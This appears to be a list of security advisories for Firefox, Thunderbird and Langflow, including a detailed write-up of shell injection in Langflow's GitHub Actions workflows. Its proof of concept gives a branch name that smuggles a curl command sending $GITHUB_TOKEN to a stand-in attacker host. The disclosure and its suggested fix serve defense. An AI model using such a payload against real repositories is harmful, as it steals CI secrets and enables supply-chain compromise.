| Memory safety bugs present in Firefox ESR 115.33, Firefox ESR 140.8, Thunderbird ESR 140.8, Firefox 148 and Thunderbird 148. Some of these bugs showed evidence of memory corruption and we presume that with enough effort some of these could have been exploited to run arbitrary code. This vulnerability affects Firefox < 149, Firefox ESR < 115.34, Firefox ESR < 140.9, Thunderbird < 149, and Thunderbird < 140.9. |
| Langflow is a tool for building and deploying AI-powered agents and workflows. Versions 1.2.0 through 1.8.1 have a bypass of the patch for CVE-2025-68478 (External Control of File Name), leading to the root architectural issue within `LocalStorageService` remaining unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer `ValidatedFileName` dependency. This defense-in-depth failure leaves the `POST /api/v2/files/` endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE). Version 1.9.0 contains an updated fix. |
| Langflow is a tool for building and deploying AI-powered agents and workflows. An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the Langflow repository prior to version 1.9.0. Unsanitized interpolation of GitHub context variables (e.g., `${{ github.head_ref }}`) in `run:` steps allows attackers to inject and execute arbitrary shell commands via a malicious branch name or pull request title. This can lead to secret exfiltration (e.g., `GITHUB_TOKEN`), infrastructure manipulation, or supply chain compromise during CI/CD execution. Version 1.9.0 patches the vulnerability.
---
### Details
Several workflows in `.github/workflows/` and `.github/actions/` reference GitHub context variables directly in `run:` shell commands, such as:
```yaml
run: |
validate_branch_name "${{ github.event.pull_request.head.ref }}"
```
Or:
```yaml
run: npx playwright install ${{ inputs.browsers }} --with-deps
```
Since `github.head_ref`, `github.event.pull_request.title`, and custom `inputs.*` may contain **user-controlled values**, they must be treated as **untrusted input**. Direct interpolation without proper quoting or sanitization leads to shell command injection.
---
### PoC
1. **Fork** the Langflow repository
2. **Create a new branch** with the name:
```bash
injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN
```
3. **Open a Pull Request** to the main branch from the new branch
4. GitHub Actions will run the affected workflow (e.g., `deploy-docs-draft.yml`)
5. The `run:` step containing:
```yaml
echo "Branch: ${{ github.head_ref }}"
```
Will execute:
```bash
echo "Branch: injection-test"
curl https://attacker.site/exfil?token=$GITHUB_TOKEN
```
6. The attacker receives the CI secret via the exfil URL.
---
### Impact
- **Type:** Shell Injection / Remote Code Execution in CI
- **Scope:** Any public Langflow fork with GitHub Actions enabled
- **Impact:** Full access to CI secrets (e.g., `GITHUB_TOKEN`), possibility to push malicious tags or images, tamper with releases, or leak sensitive infrastructure data
---
### Suggested Fix
Refactor affected workflows to **use environment variables** and wrap them in **double quotes**:
```yaml
env:
BRANCH_NAME: ${{ github.head_ref }}
run: |
echo "Branch is: \"$BRANCH_NAME\""
```
Avoid direct `${{ ... }}` interpolation inside `run:` for any user-controlled value.

| Langflow is a tool for building and deploying AI-powered agents and workflows. In versions 1.0.0 through 1.8.1, the `/api/v1/files/images/{flow_id}/{file_name}` endpoint serves image files without any authentication or ownership check. Any unauthenticated request with a known flow_id and file_name returns the image with HTTP 200. In a multi-tenant deployment, any attacker who can discover or guess a `flow_id` (UUIDs can be leaked through other API responses) can download any user's uploaded images without credentials. Version 1.9.0 contains a patch. |
| Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to version 1.7.1, in the download_profile_picture function of the /profile_pictures/{folder_name}/{file_name} endpoint, the folder_name and file_name parameters are not strictly filtered, which allows the secret_key to be read across directories. Version 1.7.1 contains a patch. |
